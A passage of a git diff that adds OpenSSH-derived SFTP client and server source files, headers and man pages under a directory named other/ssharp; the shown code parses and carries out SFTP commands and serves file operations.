cmdnum = I_SHELL; + } else if (cmdnum == -1) { + error("Invalid command."); + return(-1); + } + + /* Get arguments and parse flags */ + *pflag = *n_arg = 0; + *path1 = *path2 = NULL; + switch (cmdnum) { + case I_GET: + case I_PUT: + if (parse_getput_flags(&cp, pflag)) + return(-1); + /* Get first pathname (mandatory) */ + if (get_pathname(&cp, path1)) + return(-1); + if (*path1 == NULL) { + error("You must specify at least one path after a " + "%s command.", cmd); + return(-1); + } + /* Try to get second pathname (optional) */ + if (get_pathname(&cp, path2)) + return(-1); + break; + case I_RENAME: + case I_SYMLINK: + if (get_pathname(&cp, path1)) + return(-1); + if (get_pathname(&cp, path2)) + return(-1); + if (!*path1 || !*path2) { + error("You must specify two paths after a %s " + "command.", cmd); + return(-1); + } + break; + case I_RM: + case I_MKDIR: + case I_RMDIR: + case I_CHDIR: + case I_LCHDIR: + case I_LMKDIR: + /* Get pathname (mandatory) */ + if (get_pathname(&cp, path1)) + return(-1); + if (*path1 == NULL) { + error("You must specify a path after a %s command.", + cmd); + return(-1); + } + break; + case I_LS: + /* Path is optional */ + if (get_pathname(&cp, path1)) + return(-1); + break; + case I_LLS: + case I_SHELL: + /* Uses the rest of the line */ + break; + case I_LUMASK: + base = 8; + case I_CHMOD: + base = 8; + case I_CHOWN: + case I_CHGRP: + /* Get numeric arg (mandatory) */ + l = strtol(cp, &cp2, base); + if (cp2 == cp || ((l == LONG_MIN || l == LONG_MAX) && + errno == ERANGE) || l < 0) { + error("You must supply a numeric argument " + "to the %s command.", cmd); + return(-1); + } + cp = cp2; + *n_arg = l; + if (cmdnum == I_LUMASK && strchr(WHITESPACE, *cp)) + break; + if (cmdnum == I_LUMASK || !strchr(WHITESPACE, *cp)) { + error("You must supply a numeric argument " + "to the %s command.", cmd); + return(-1); + } + cp += strspn(cp, WHITESPACE); + + /* Get pathname (mandatory) */ + if (get_pathname(&cp, path1)) + return(-1); + if (*path1 == NULL) { + error("You must specify a path after a %s command.", + cmd); + return(-1); + } + break; + case I_QUIT: + case I_PWD: + case I_LPWD: + case I_HELP: + case I_VERSION: + break; + default: + fatal("Command not implemented"); + } + + *cpp = cp; + return(cmdnum); +} + +int +parse_dispatch_command(int in, int out, const char *cmd, char **pwd) +{ + char *path1, *path2, *tmp; + int pflag, cmdnum, i; + unsigned long n_arg; + Attrib a, *aa; + char path_buf[MAXPATHLEN]; + int err = 0; + glob_t g; + + path1 = path2 = NULL; + cmdnum = parse_args(&cmd, &pflag, &n_arg, &path1, &path2); + + memset(&g, 0, sizeof(g)); + + /* Perform command */ + switch (cmdnum) { + case -1: + break; + case I_GET: + err = process_get(in, out, path1, path2, *pwd, pflag); + break; + case I_PUT: + err = process_put(in, out, path1, path2, *pwd, pflag); + break; + case I_RENAME: + path1 = make_absolute(path1, *pwd); + path2 = make_absolute(path2, *pwd); + err = do_rename(in, out, path1, path2); + break; + case I_SYMLINK: + if (version < 3) { + error("The server (version %d) does not support " + "this operation", version); + err = -1; + } else { + path2 = make_absolute(path2, *pwd); + err = do_symlink(in, out, path1, path2); + } + break; + case I_RM: + path1 = make_absolute(path1, *pwd); + remote_glob(in, out, path1, GLOB_NOCHECK, NULL, &g); + for(i = 0; g.gl_pathv[i]; i++) { + printf("Removing %s\n", g.gl_pathv[i]); + if (do_rm(in, out, g.gl_pathv[i]) == -1) + err = -1; + } + break; + case I_MKDIR: + path1 = make_absolute(path1, *pwd); + attrib_clear(&a); + a.flags |= SSH2_FILEXFER_ATTR_PERMISSIONS; + a.perm = 0777; + err = do_mkdir(in, out, path1, &a); + break; + case I_RMDIR: + path1 = make_absolute(path1, *pwd); + err = do_rmdir(in, out, path1); + break; + case I_CHDIR: + path1 = make_absolute(path1, *pwd); + if ((tmp = do_realpath(in, out, path1)) == NULL) { + err = 1; + break; + } + if ((aa = do_stat(in, out, tmp, 0)) == NULL) { + xfree(tmp); + err = 1; + break; + } + if (!(aa->flags & SSH2_FILEXFER_ATTR_PERMISSIONS)) { + error("Can't change directory: Can't check target"); + xfree(tmp); + err = 1; + break; + } + if (!S_ISDIR(aa->perm)) { + error("Can't change directory: \"%s\" is not " + "a directory", tmp); + xfree(tmp); + err = 1; + break; + } + xfree(*pwd); + *pwd = tmp; + break; + case I_LS: + if (!path1) { + do_ls(in, out, *pwd); + break; + } + path1 = make_absolute(path1, *pwd); + if ((tmp = do_realpath(in, out, path1)) == NULL) + break; + xfree(path1); + path1 = tmp; + if ((aa = do_stat(in, out, path1, 0)) == NULL) + break; + if ((aa->flags & SSH2_FILEXFER_ATTR_PERMISSIONS) && + !S_ISDIR(aa->perm)) { + error("Can't ls: \"%s\" is not a directory", path1); + break; + } + do_ls(in, out, path1); + break; + case I_LCHDIR: + if (chdir(path1) == -1) { + error("Couldn't change local directory to " + "\"%s\": %s", path1, strerror(errno)); + err = 1; + } + break; + case I_LMKDIR: + if (mkdir(path1, 0777) == -1) { + error("Couldn't create local directory " + "\"%s\": %s", path1, strerror(errno)); + err = 1; + } + break; + case I_LLS: + local_do_ls(cmd); + break; + case I_SHELL: + local_do_shell(cmd); + break; + case I_LUMASK: + umask(n_arg); + printf("Local umask: %03lo\n", n_arg); + break; + case I_CHMOD: + path1 = make_absolute(path1, *pwd); + attrib_clear(&a); + a.flags |= SSH2_FILEXFER_ATTR_PERMISSIONS; + a.perm = n_arg; + remote_glob(in, out, path1, GLOB_NOCHECK, NULL, &g); + for(i = 0; g.gl_pathv[i]; i++) { + printf("Changing mode on %s\n", g.gl_pathv[i]); + do_setstat(in, out, g.gl_pathv[i], &a); + } + break; + case I_CHOWN: + path1 = make_absolute(path1, *pwd); + remote_glob(in, out, path1, GLOB_NOCHECK, NULL, &g); + for(i = 0; g.gl_pathv[i]; i++) { + if (!(aa = do_stat(in, out, g.gl_pathv[i], 0))) + continue; + if (!(aa->flags & SSH2_FILEXFER_ATTR_UIDGID)) { + error("Can't get current ownership of " + "remote file \"%s\"", g.gl_pathv[i]); + continue; + } + printf("Changing owner on %s\n", g.gl_pathv[i]); + aa->flags &= SSH2_FILEXFER_ATTR_UIDGID; + aa->uid = n_arg; + do_setstat(in, out, g.gl_pathv[i], aa); + } + break; + case I_CHGRP: + path1 = make_absolute(path1, *pwd); + remote_glob(in, out, path1, GLOB_NOCHECK, NULL, &g); + for(i = 0; g.gl_pathv[i]; i++) { + if (!(aa = do_stat(in, out, g.gl_pathv[i], 0))) + continue; + if (!(aa->flags & SSH2_FILEXFER_ATTR_UIDGID)) { + error("Can't get current ownership of " + "remote file \"%s\"", g.gl_pathv[i]); + continue; + } + printf("Changing group on %s\n", g.gl_pathv[i]); + aa->flags &= SSH2_FILEXFER_ATTR_UIDGID; + aa->gid = n_arg; + do_setstat(in, out, g.gl_pathv[i], aa); + } + break; + case I_PWD: + printf("Remote working directory: %s\n", *pwd); + break; + case I_LPWD: + if (!getcwd(path_buf, sizeof(path_buf))) + error("Couldn't get local cwd: %s", + strerror(errno)); + else + printf("Local working directory: %s\n", + path_buf); + break; + case I_QUIT: + return(-1); + case I_HELP: + help(); + break; + case I_VERSION: + printf("SFTP protocol version %d\n", version); + break; + default: + fatal("%d is not implemented", cmdnum); + } + + if (g.gl_pathc) + globfree(&g); + if (path1) + xfree(path1); + if (path2) + xfree(path2); + + /* If an error occurs in batch mode we should abort. */ + if (infile != stdin && err > 0) + return -1; + + return(0); +} + +void +interactive_loop(int fd_in, int fd_out, char *file1, char *file2) +{ + char *pwd; + char *dir = NULL; + char cmd[2048]; + + version = do_init(fd_in, fd_out); + if (version == -1) + fatal("Couldn't initialise connection to server"); + + pwd = do_realpath(fd_in, fd_out, "."); + if (pwd == NULL) + fatal("Need cwd"); + + if (file1 != NULL) { + dir = xstrdup(file1); + dir = make_absolute(dir, pwd); + + if (remote_is_dir(fd_in, fd_out, dir) && file2 == NULL) { + printf("Changing to: %s\n", dir); + snprintf(cmd, sizeof cmd, "cd \"%s\"", dir); + parse_dispatch_command(fd_in, fd_out, cmd, &pwd); + } else { + if (file2 == NULL) + snprintf(cmd, sizeof cmd, "get %s", dir); + else + snprintf(cmd, sizeof cmd, "get %s %s", dir, + file2); + + parse_dispatch_command(fd_in, fd_out, cmd, &pwd); + return; + } + } + setvbuf(stdout, NULL, _IOLBF, 0); + setvbuf(infile, NULL, _IOLBF, 0); + + for(;;) { + char *cp; + + printf("sftp> "); + + /* XXX: use libedit */ + if (fgets(cmd, sizeof(cmd), infile) == NULL) { + printf("\n"); + break; + } else if (infile != stdin) /* Bluff typing */ + printf("%s", cmd); + + cp = strrchr(cmd, '\n'); + if (cp) + *cp = '\0'; + + if (parse_dispatch_command(fd_in, fd_out, cmd, &pwd)) + break; + } + xfree(pwd); +} diff --git a/other/ssharp/sftp-int.h b/other/ssharp/sftp-int.h new file mode 100644 index 0000000..b47f862 --- /dev/null +++ b/other/ssharp/sftp-int.h @@ -0,0 +1,27 @@ +/* $OpenBSD: sftp-int.h,v 1.2 2001/04/12 23:17:54 mouring Exp $ */ + +/* + * Copyright (c) 2001 Damien Miller. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +void interactive_loop(int fd_in, int fd_out, char *file1, char *file2); diff --git a/other/ssharp/sftp-server.0 b/other/ssharp/sftp-server.0 new file mode 100644 index 0000000..956c804 --- /dev/null +++ b/other/ssharp/sftp-server.0 @@ -0,0 +1,28 @@ + +SFTP-SERVER(8) System Manager's Manual SFTP-SERVER(8) + +NAME + sftp-server - SFTP server subsystem + +SYNOPSIS + sftp-server + +DESCRIPTION + sftp-server is a program that speaks the server side of SFTP protocol to + stdout and expects client requests from stdin. sftp-server is not inM-- + tended to be called directly, but from sshd(8) using the Subsystem opM-- + tion. See sshd(8) for more information. + +SEE ALSO + sftp(1), ssh(1), sshd(8) + + T. Ylonen, and S. Lehtinen, SSH File Transfer Protocol, draft-ietf-secsh- + filexfer-00.txt, January 2001, work in progress material. + +AUTHORS + Markus Friedl + +HISTORY + sftp-server first appeared in OpenBSD 2.8 . + +BSD Experimental August 30, 2000 1 diff --git a/other/ssharp/sftp-server.8 b/other/ssharp/sftp-server.8 new file mode 100644 index 0000000..9699cce --- /dev/null +++ b/other/ssharp/sftp-server.8 @@ -0,0 +1,62 @@ +.\" $OpenBSD: sftp-server.8,v 1.6 2001/04/22 13:32:26 markus Exp $ +.\" +.\" Copyright (c) 2000 Markus Friedl. All rights reserved. +.\" +.\" Redistribution and use in source and binary forms, with or without +.\" modification, are permitted provided that the following conditions +.\" are met: +.\" 1. Redistributions of source code must retain the above copyright +.\" notice, this list of conditions and the following disclaimer. +.\" 2. Redistributions in binary form must reproduce the above copyright +.\" notice, this list of conditions and the following disclaimer in the +.\" documentation and/or other materials provided with the distribution. +.\" +.\" THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +.\" IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +.\" OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. +.\" IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, +.\" INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +.\" NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +.\" DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +.\" THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +.\" (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF +.\" THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +.\" +.Dd August 30, 2000 +.Dt SFTP-SERVER 8 +.Os +.Sh NAME +.Nm sftp-server +.Nd SFTP server subsystem +.Sh SYNOPSIS +.Nm sftp-server +.Sh DESCRIPTION +.Nm +is a program that speaks the server side of SFTP protocol +to stdout and expects client requests from stdin. +.Nm +is not intended to be called directly, but from +.Xr sshd 8 +using the +.Cm Subsystem +option. +See +.Xr sshd 8 +for more information. +.Sh SEE ALSO +.Xr sftp 1 , +.Xr ssh 1 , +.Xr sshd 8 +.Rs +.%A T. Ylonen +.%A S. Lehtinen +.%T "SSH File Transfer Protocol" +.%N draft-ietf-secsh-filexfer-00.txt +.%D January 2001 +.%O work in progress material +.Re +.Sh AUTHORS +Markus Friedl +.Sh HISTORY +.Nm +first appeared in OpenBSD 2.8 . diff --git a/other/ssharp/sftp-server.c b/other/ssharp/sftp-server.c new file mode 100644 index 0000000..75c19c8 --- /dev/null +++ b/other/ssharp/sftp-server.c @@ -0,0 +1,1106 @@ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#include "includes.h" +RCSID("$OpenBSD: sftp-server.c,v 1.25 2001/04/05 10:42:53 markus Exp $"); + +#include "buffer.h" +#include "bufaux.h" +#include "getput.h" +#include "log.h" +#include "xmalloc.h" + +#include "sftp.h" +#include "sftp-common.h" + +/* helper */ +#define get_int64() buffer_get_int64(&iqueue); +#define get_int() buffer_get_int(&iqueue); +#define get_string(lenp) buffer_get_string(&iqueue, lenp); +#define TRACE debug + +#ifdef HAVE___PROGNAME +extern char *__progname; +#else +char *__progname; +#endif + +/* input and output queue */ +Buffer iqueue; +Buffer oqueue; + +/* Version of client */ +int version; + +/* portable attibutes, etc. */ + +typedef struct Stat Stat; + +struct Stat { + char *name; + char *long_name; + Attrib attrib; +}; + +int +errno_to_portable(int unixerrno) +{ + int ret = 0; + + switch (unixerrno) { + case 0: + ret = SSH2_FX_OK; + break; + case ENOENT: + case ENOTDIR: + case EBADF: + case ELOOP: + ret = SSH2_FX_NO_SUCH_FILE; + break; + case EPERM: + case EACCES: + case EFAULT: + ret = SSH2_FX_PERMISSION_DENIED; + break; + case ENAMETOOLONG: + case EINVAL: + ret = SSH2_FX_BAD_MESSAGE; + break; + default: + ret = SSH2_FX_FAILURE; + break; + } + return ret; +} + +int +flags_from_portable(int pflags) +{ + int flags = 0; + + if ((pflags & SSH2_FXF_READ) && + (pflags & SSH2_FXF_WRITE)) { + flags = O_RDWR; + } else if (pflags & SSH2_FXF_READ) { + flags = O_RDONLY; + } else if (pflags & SSH2_FXF_WRITE) { + flags = O_WRONLY; + } + if (pflags & SSH2_FXF_CREAT) + flags |= O_CREAT; + if (pflags & SSH2_FXF_TRUNC) + flags |= O_TRUNC; + if (pflags & SSH2_FXF_EXCL) + flags |= O_EXCL; + return flags; +} + +Attrib * +get_attrib(void) +{ + return decode_attrib(&iqueue); +} + +/* handle handles */ + +typedef struct Handle Handle; +struct Handle { + int use; + DIR *dirp; + int fd; + char *name; +}; + +enum { + HANDLE_UNUSED, + HANDLE_DIR, + HANDLE_FILE +}; + +Handle handles[100]; + +void +handle_init(void) +{ + int i; + + for(i = 0; i < sizeof(handles)/sizeof(Handle); i++) + handles[i].use = HANDLE_UNUSED; +} + +int +handle_new(int use, char *name, int fd, DIR *dirp) +{ + int i; + + for(i = 0; i < sizeof(handles)/sizeof(Handle); i++) { + if (handles[i].use == HANDLE_UNUSED) { + handles[i].use = use; + handles[i].dirp = dirp; + handles[i].fd = fd; + handles[i].name = name; + return i; + } + } + return -1; +} + +int +handle_is_ok(int i, int type) +{ + return i >= 0 && i < sizeof(handles)/sizeof(Handle) && + handles[i].use == type; +} + +int +handle_to_string(int handle, char **stringp, int *hlenp) +{ + if (stringp == NULL || hlenp == NULL) + return -1; + *stringp = xmalloc(sizeof(int32_t)); + PUT_32BIT(*stringp, handle); + *hlenp = sizeof(int32_t); + return 0; +} + +int +handle_from_string(char *handle, u_int hlen) +{ + int val; + + if (hlen != sizeof(int32_t)) + return -1; + val = GET_32BIT(handle); + if (handle_is_ok(val, HANDLE_FILE) || + handle_is_ok(val, HANDLE_DIR)) + return val; + return -1; +} + +char * +handle_to_name(int handle) +{ + if (handle_is_ok(handle, HANDLE_DIR)|| + handle_is_ok(handle, HANDLE_FILE)) + return handles[handle].name; + return NULL; +} + +DIR * +handle_to_dir(int handle) +{ + if (handle_is_ok(handle, HANDLE_DIR)) + return handles[handle].dirp; + return NULL; +} + +int +handle_to_fd(int handle) +{ + if (handle_is_ok(handle, HANDLE_FILE)) + return handles[handle].fd; + return -1; +} + +int +handle_close(int handle) +{ + int ret = -1; + + if (handle_is_ok(handle, HANDLE_FILE)) { + ret = close(handles[handle].fd); + handles[handle].use = HANDLE_UNUSED; + } else if (handle_is_ok(handle, HANDLE_DIR)) { + ret = closedir(handles[handle].dirp); + handles[handle].use = HANDLE_UNUSED; + } else { + errno = ENOENT; + } + return ret; +} + +int +get_handle(void) +{ + char *handle; + int val = -1; + u_int hlen; + + handle = get_string(&hlen); + if (hlen < 256) + val = handle_from_string(handle, hlen); + xfree(handle); + return val; +} + +/* send replies */ + +void +send_msg(Buffer *m) +{ + int mlen = buffer_len(m); + + buffer_put_int(&oqueue, mlen); + buffer_append(&oqueue, buffer_ptr(m), mlen); + buffer_consume(m, mlen); +} + +void +send_status(u_int32_t id, u_int32_t error) +{ + Buffer msg; + const char *status_messages[] = { + "Success", /* SSH_FX_OK */ + "End of file", /* SSH_FX_EOF */ + "No such file", /* SSH_FX_NO_SUCH_FILE */ + "Permission denied", /* SSH_FX_PERMISSION_DENIED */ + "Failure", /* SSH_FX_FAILURE */ + "Bad message", /* SSH_FX_BAD_MESSAGE */ + "No connection", /* SSH_FX_NO_CONNECTION */ + "Connection lost", /* SSH_FX_CONNECTION_LOST */ + "Operation unsupported", /* SSH_FX_OP_UNSUPPORTED */ + "Unknown error" /* Others */ + }; + + TRACE("sent status id %d error %d", id, error); + buffer_init(&msg); + buffer_put_char(&msg, SSH2_FXP_STATUS); + buffer_put_int(&msg, id); + buffer_put_int(&msg, error); + if (version >= 3) { + buffer_put_cstring(&msg, + status_messages[MIN(error,SSH2_FX_MAX)]); + buffer_put_cstring(&msg, ""); + } + send_msg(&msg); + buffer_free(&msg); +} +void +send_data_or_handle(char type, u_int32_t id, char *data, int dlen) +{ + Buffer msg; + + buffer_init(&msg); + buffer_put_char(&msg, type); + buffer_put_int(&msg, id); + buffer_put_string(&msg, data, dlen); + send_msg(&msg); + buffer_free(&msg); +} + +void +send_data(u_int32_t id, char *data, int dlen) +{ + TRACE("sent data id %d len %d", id, dlen); + send_data_or_handle(SSH2_FXP_DATA, id, data, dlen); +} + +void +send_handle(u_int32_t id, int handle) +{ + char *string; + int hlen; + + handle_to_string(handle, &string, &hlen); + TRACE("sent handle id %d handle %d", id, handle); + send_data_or_handle(SSH2_FXP_HANDLE, id, string, hlen); + xfree(string); +} + +void +send_names(u_int32_t id, int count, Stat *stats) +{ + Buffer msg; + int i; + + buffer_init(&msg); + buffer_put_char(&msg, SSH2_FXP_NAME); + buffer_put_int(&msg, id); + buffer_put_int(&msg, count); + TRACE("sent names id %d count %d", id, count); + for (i = 0; i < count; i++) { + buffer_put_cstring(&msg, stats[i].name); + buffer_put_cstring(&msg, stats[i].long_name); + encode_attrib(&msg, &stats[i].attrib); + } + send_msg(&msg); + buffer_free(&msg); +} + +void +send_attrib(u_int32_t id, Attrib *a) +{ + Buffer msg; + + TRACE("sent attrib id %d have 0x%x", id, a->flags); + buffer_init(&msg); + buffer_put_char(&msg, SSH2_FXP_ATTRS); + buffer_put_int(&msg, id); + encode_attrib(&msg, a); + send_msg(&msg); + buffer_free(&msg); +} + +/* parse incoming */ + +void +process_init(void) +{ + Buffer msg; + + version = buffer_get_int(&iqueue); + TRACE("client version %d", version); + buffer_init(&msg); + buffer_put_char(&msg, SSH2_FXP_VERSION); + buffer_put_int(&msg, SSH2_FILEXFER_VERSION); + send_msg(&msg); + buffer_free(&msg); +} + +void +process_open(void) +{ + u_int32_t id, pflags; + Attrib *a; + char *name; + int handle, fd, flags, mode, status = SSH2_FX_FAILURE; + + id = get_int(); + name = get_string(NULL); + pflags = get_int(); /* portable flags */ + a = get_attrib(); + flags = flags_from_portable(pflags); + mode = (a->flags & SSH2_FILEXFER_ATTR_PERMISSIONS) ? a->perm : 0666; + TRACE("open id %d name %s flags %d mode 0%o", id, name, pflags, mode); + fd = open(name, flags, mode); + if (fd < 0) { + status = errno_to_portable(errno); + } else { + handle = handle_new(HANDLE_FILE, xstrdup(name), fd, NULL); + if (handle < 0) { + close(fd); + } else { + send_handle(id, handle); + status = SSH2_FX_OK; + } + } + if (status != SSH2_FX_OK) + send_status(id, status); + xfree(name); +} + +void +process_close(void) +{ + u_int32_t id; + int handle, ret, status = SSH2_FX_FAILURE; + + id = get_int(); + handle = get_handle(); + TRACE("close id %d handle %d", id, handle); + ret = handle_close(handle); + status = (ret == -1) ? errno_to_portable(errno) : SSH2_FX_OK; + send_status(id, status); +} + +void +process_read(void) +{ + char buf[64*1024]; + u_int32_t id, len; + int handle, fd, ret, status = SSH2_FX_FAILURE; + u_int64_t off; + + id = get_int(); + handle = get_handle(); + off = get_int64(); + len = get_int(); + + TRACE("read id %d handle %d off %llu len %d", id, handle, + (u_int64_t)off, len); + if (len > sizeof buf) { + len = sizeof buf; + log("read change len %d", len); + } + fd = handle_to_fd(handle); + if (fd >= 0) { + if (lseek(fd, off, SEEK_SET) < 0) { + error("process_read: seek failed"); + status = errno_to_portable(errno); + } else { + ret = read(fd, buf, len); + if (ret < 0) { + status = errno_to_portable(errno); + } else if (ret == 0) { + status = SSH2_FX_EOF; + } else { + send_data(id, buf, ret); + status = SSH2_FX_OK; + } + } + } + if (status != SSH2_FX_OK) + send_status(id, status); +} + +void +process_write(void) +{ + u_int32_t id; + u_int64_t off; + u_int len; + int handle, fd, ret, status = SSH2_FX_FAILURE; + char *data; + + id = get_int(); + handle = get_handle(); + off = get_int64(); + data = get_string(&len); + + TRACE("write id %d handle %d off %llu len %d", id, handle, + (u_int64_t)off, len); + fd = handle_to_fd(handle); + if (fd >= 0) { + if (lseek(fd, off, SEEK_SET) < 0) { + status = errno_to_portable(errno); + error("process_write: seek failed"); + } else { +/* XXX ATOMICIO ? */ + ret = write(fd, data, len); + if (ret == -1) { + error("process_write: write failed"); + status = errno_to_portable(errno); + } else if (ret == len) { + status = SSH2_FX_OK; + } else { + log("nothing at all written"); + } + } + } + send_status(id, status); + xfree(data); +} + +void +process_do_stat(int do_lstat) +{ + Attrib a; + struct stat st; + u_int32_t id; + char *name; + int ret, status = SSH2_FX_FAILURE; + + id = get_int(); + name = get_string(NULL); + TRACE("%sstat id %d name %s", do_lstat ? "l" : "", id, name); + ret = do_lstat ? lstat(name, &st) : stat(name, &st); + if (ret < 0) { + status = errno_to_portable(errno); + } else { + stat_to_attrib(&st, &a); + send_attrib(id, &a); + status = SSH2_FX_OK; + } + if (status != SSH2_FX_OK) + send_status(id, status); + xfree(name); +} + +void +process_stat(void) +{ + process_do_stat(0); +} + +void +process_lstat(void) +{ + process_do_stat(1); +} + +void +process_fstat(void) +{ + Attrib a; + struct stat st; + u_int32_t id; + int fd, ret, handle, status = SSH2_FX_FAILURE; + + id = get_int(); + handle = get_handle(); + TRACE("fstat id %d handle %d", id, handle); + fd = handle_to_fd(handle); + if (fd >= 0) { + ret = fstat(fd, &st); + if (ret < 0) { + status = errno_to_portable(errno); + } else { + stat_to_attrib(&st, &a); + send_attrib(id, &a); + status = SSH2_FX_OK; + } + } + if (status != SSH2_FX_OK) + send_status(id, status); +} + +struct timeval * +attrib_to_tv(Attrib *a) +{ + static struct timeval tv[2]; + + tv[0].tv_sec = a->atime; + tv[0].tv_usec = 0; + tv[1].tv_sec = a->mtime; + tv[1].tv_usec = 0; + return tv; +} + +void +process_setstat(void) +{ + Attrib *a; + u_int32_t id; + char *name; + int ret; + int status = SSH2_FX_OK; + + id = get_int(); + name = get_string(NULL); + a = get_attrib(); + TRACE("setstat id %d name %s", id, name); + if (a->flags & SSH2_FILEXFER_ATTR_PERMISSIONS) { + ret = chmod(name, a->perm & 0777); + if (ret == -1) + status = errno_to_portable(errno); + } + if (a->flags & SSH2_FILEXFER_ATTR_ACMODTIME) { + ret = utimes(name, attrib_to_tv(a)); + if (ret == -1) + status = errno_to_portable(errno); + } + if (a->flags & SSH2_FILEXFER_ATTR_UIDGID) { + ret = chown(name, a->uid, a->gid); + if (ret == -1) + status = errno_to_portable(errno); + } + send_status(id, status); + xfree(name); +} + +void +process_fsetstat(void) +{ + Attrib *a; + u_int32_t id; + int handle, fd, ret; + int status = SSH2_FX_OK; + char *name; + + id = get_int(); + handle = get_handle(); + a = get_attrib(); + TRACE("fsetstat id %d handle %d", id, handle); + fd = handle_to_fd(handle); + name = handle_to_name(handle); + if (fd < 0 || name == NULL) { + status = SSH2_FX_FAILURE; + } else { + if (a->flags & SSH2_FILEXFER_ATTR_PERMISSIONS) { +#ifdef HAVE_FCHMOD + ret = fchmod(fd, a->perm & 0777); +#else + ret = chmod(name, a->perm & 0777); +#endif + if (ret == -1) + status = errno_to_portable(errno); + } + if (a->flags & SSH2_FILEXFER_ATTR_ACMODTIME) { +#ifdef HAVE_FUTIMES + ret = futimes(fd, attrib_to_tv(a)); +#else + ret = utimes(name, attrib_to_tv(a)); +#endif + if (ret == -1) + status = errno_to_portable(errno); + } + if (a->flags & SSH2_FILEXFER_ATTR_UIDGID) { +#ifdef HAVE_FCHOWN + ret = fchown(fd, a->uid, a->gid); +#else + ret = chown(name, a->uid, a->gid); +#endif + if (ret == -1) + status = errno_to_portable(errno); + } + } + send_status(id, status); +} + +void +process_opendir(void) +{ + DIR *dirp = NULL; + char *path; + int handle, status = SSH2_FX_FAILURE; + u_int32_t id; + + id = get_int(); + path = get_string(NULL); + TRACE("opendir id %d path %s", id, path); + dirp = opendir(path); + if (dirp == NULL) { + status = errno_to_portable(errno); + } else { + handle = handle_new(HANDLE_DIR, xstrdup(path), 0, dirp); + if (handle < 0) { + closedir(dirp); + } else { + send_handle(id, handle); + status = SSH2_FX_OK; + } + + } + if (status != SSH2_FX_OK) + send_status(id, status); + xfree(path); +} + +/* + * drwxr-xr-x 5 markus markus 1024 Jan 13 18:39 .ssh + */ +char * +ls_file(char *name, struct stat *st) +{ + int sz = 0; + struct passwd *pw; + struct group *gr; + struct tm *ltime = localtime(&st->st_mtime); + char *user, *group; + char buf[1024], mode[11+1], tbuf[12+1], ubuf[11+1], gbuf[11+1]; + + strmode(st->st_mode, mode); + if ((pw = getpwuid(st->st_uid)) != NULL) { + user = pw->pw_name; + } else { + snprintf(ubuf, sizeof ubuf, "%d", st->st_uid); + user = ubuf; + } + if ((gr = getgrgid(st->st_gid)) != NULL) { + group = gr->gr_name; + } else { + snprintf(gbuf, sizeof gbuf, "%d", st->st_gid); + group = gbuf; + } + if (ltime != NULL) { + if (time(NULL) - st->st_mtime < (365*24*60*60)/2) + sz = strftime(tbuf, sizeof tbuf, "%b %e %H:%M", ltime); + else + sz = strftime(tbuf, sizeof tbuf, "%b %e %Y", ltime); + } + if (sz == 0) + tbuf[0] = '\0'; + snprintf(buf, sizeof buf, "%s %3d %-8.8s %-8.8s %8llu %s %s", mode, + st->st_nlink, user, group, (u_int64_t)st->st_size, tbuf, name); + return xstrdup(buf); +} + +void +process_readdir(void) +{ + DIR 